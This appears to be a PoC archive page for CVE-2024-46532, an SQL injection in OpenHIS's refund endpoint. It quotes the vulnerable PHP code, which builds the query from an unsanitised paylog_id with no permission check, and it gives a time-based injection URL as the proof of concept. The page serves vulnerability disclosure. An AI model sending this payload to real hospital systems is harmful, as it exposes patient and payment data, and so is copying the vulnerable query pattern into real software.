Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-46532 PoC — OpenHIS 安全漏洞

Source
Associated Vulnerability
Title: OpenHIS 安全漏洞 (CVE-2024-46532)
Description:SQL Injection vulnerability in OpenHIS v.1.0 allows an attacker to execute arbitrary code via the refund function in the PayController.class.php component.
Description
Reproduction of SQL Injection Vulnerabilities in OpenHIS
Readme
# CVE-2024-46532
Reproduction of SQL Injection Vulnerabilities in OpenHIS

Vulnerabilities:OpenHIS-master/Application/His/Controller/PayController.class.php

SourceLink:https://github.com/1638824607/OpenHIS?tab=readme-ov-file

Vulnerability code:
    public function refund()
    {
        $paylog_id = I('get.paylog_id',0);
    
        $amount = I('post.amount','all');//all就是是全部
        $adm_uid = I('post.adm_uid',0);//all就是是全部
        $adm_memo = I('post.adm_memo','退款');//all就是是全部
    
        if(!$paylog_id||!$amount)$this->resJSON(1,'参数缺失:paylog_id or amount');
    
        #todo 这里需要添加功能权限,无权限不能使用
    
        $sql = "SELECT a.*,b.hospital_id,b.type_id,b.order_code,b.ol_pay_part,b.amount,b.patient_id FROM ".$this->tab_pre."his_care_paylog a LEFT JOIN ".$this->tab_pre."his_care_pkg b ON a.pkg_id=b.id WHERE a.id='$paylog_id' LIMIT 1";
    
        $r = $this->db->query($sql);
        if(!$r)$this->resJSON(2,'paylog_id无效',$sql);

POC:
  /index.php/pay/refund?paylog_id=aaaa'+or+sleep(.6)+--+

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →